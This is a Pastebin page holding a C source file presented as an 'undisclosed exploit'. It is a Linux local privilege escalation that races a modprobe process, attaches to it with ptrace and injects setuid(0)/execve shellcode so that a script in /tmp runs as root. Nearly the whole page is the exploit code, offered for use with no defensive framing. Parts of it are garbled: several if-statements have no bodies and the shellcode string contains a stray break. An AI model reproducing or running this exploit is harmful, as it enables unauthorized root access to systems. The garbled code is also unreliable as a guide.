ZmEu

haqnets.c

Feb 28th, 2011
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Undisclosed exploit... :) by HaqNET!
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <signal.h>
  5. #include <fcntl.h>
  6. #include <errno.h>
  7. #include <unistd.h>
  8. #include <sys/types.h>
  9. #include <sys/stat.h>
  10. #include <sys/ptrace.h>
  11. #include <sys/wait.h>
  12. #include <sys/mman.h>
  13. #include <sys/time.h>
  14. #include <linux/user.h>
  15.  
  16. #define TMPSIZE 4096
  17. #define FMAX 768
  18. #define UIDNUM 6
  19. #define MMSIZE (4096*1) // copuld also use getpagesize() would work better... (xd)
  20. #define MAXSTACK 0xc0000000
  21.  
  22. //where to put the root script
  23. #define SHELL "/tmp/sh"
  24. #define ENTRY "/dev/dsp3"
  25.  
  26. struct uids {
  27.     unsigned uid;
  28.     unsigned euid;
  29.     unsigned suid;
  30.     unsigned fsuid;
  31. };
  32.  
  33. char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\
  34. xdb\xb0\x17\xcd\x80"    /* setuid(0) */
  35.     "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"
  36.     "\x90\x90\x90\x89\xe1\x8d\x54\x24"  /* lets be tricky */
  37.     "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
  38.     "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00\x00";
  39.  
  40. char *shellcmd = "#!/bin/sh\nid\n";
  41.  
  42. volatile int sig = 0;
  43. volatile struct user_regs_struct regs;
  44.  
  45. void sighnd(int v) {
  46.     sig++;
  47. }
  48. void fatal(const char *msg) {
  49.     printf("\n");
  50.     if (!errno) {
  51.     } else {
  52.     perror(msg);
  53.     }
  54.     printf("\n");
  55.     fflush(stdout);
  56.     fflush(stderr);
  57.     exit(129);
  58. }
  59.  
  60. void exploit(int pid) {
  61.     int i;
  62.     if (ptrace(PTRACE_GETREGS, pid, 0, &regs))
  63.    for (i = 0; i <= sizeof(shellcode); i += 4) {
  64.     if (ptrace(PTRACE_POKETEXT, pid, regs.eip + i, *(int *) (shellcode + i)))
  65.    }
  66.    if (ptrace(PTRACE_SETREGS, pid, 0, &regs))
  67.    ptrace(PTRACE_DETACH, pid, 0, 0);
  68.    kill(pid, SIGCONT);
  69. }
  70.  
  71. int get_ids(FILE * fp, struct uids *uids) {
  72.    int i;
  73.    char tmp[TMPSIZE];
  74.    fseek(fp, 0, SEEK_SET);
  75.    for (i = 0; i < UIDNUM; i++)
  76.    fgets(tmp, sizeof(tmp), fp);
  77.    return fscanf(fp, "Uid: %u %u %u %u", &uids->uid, &uids->euid, &uids->suid, &uids->fsuid);
  78. }
  79.  
  80. int main(int ac, char **av) {
  81.     int fd, pid, p, i;
  82.     char buf[TMPSIZE];
  83.     struct uids uids;
  84.     FILE *fp;
  85.     setpgrp();
  86.     setsid();
  87.     umask(022);
  88.     unlink(SHELL);
  89.     fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755);
  90.     fp = fdopen(fd, "w+");
  91.     fprintf(fp, "%s\n", shellcmd);
  92.     fclose(fp);
  93.     pid = getpid() + 2;
  94.     snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid);
  95.     printf("\nModprobe pid %d, my pid %d", pid, getpid());
  96.     fflush(stdout);
  97.     signal(SIGUSR1, sighnd);
  98.     if (!(p = fork())) {
  99.     for (i = 0; i < FMAX; i++) {
  100.     fd = open("/dev/zero", O_RDWR);
  101. mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  102.     }
  103.     kill(getppid(), SIGUSR1);
  104.     while (!sig);
  105.     printf("\nHelper (pid %d) requesting module...", getpid());
  106.     fflush(stdout);
  107.     fd = open(ENTRY, O_RDONLY | O_NONBLOCK);
  108.     exit(0);
  109.    } else {
  110.     while (!sig);
  111.     kill(p, SIGUSR1);
  112.     while (1) {
  113.         fd = open(buf, O_RDONLY);
  114.         if (fd > 0) {
  115.         if (!(fp = fdopen(fd, "r")))
  116.             fatal("fdopen");
  117.         if (get_ids(fp, &uids) != 4
  118.             || (uids.uid != uids.euid || uids.uid != uids.suid
  119.             || uids.uid != uids.fsuid)) {
  120.             fatal("did not catch modprobe...try again");
  121.         }
  122.         while (1) {
  123.             if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
  124.             fatal("PTRACE_ATTACH failed!");
  125.             } else {
  126.             i = 0;
  127.             printf("\nAttached..\n");
  128.             fflush(stdout);
  129.             while (ptrace(PTRACE_GETREGS, pid, 0, &regs)
  130.                    || !regs.eip || regs.eip >= MAXSTACK) {
  131.                 ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
  132.                 fflush(stdout);
  133.             }
  134.             waitpid(pid, NULL, WUNTRACED);
  135.             printf
  136.                 ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ",
  137.                  regs.eip);
  138.             fflush(stdout);
  139.             exploit(pid);
  140.             exit(0);
  141.             }
  142.         }
  143.         fclose(fp);
  144.         }
  145.     }
  146.     }
  147.     return 0;
  148. }
Add Comment
Please, Sign In to add comment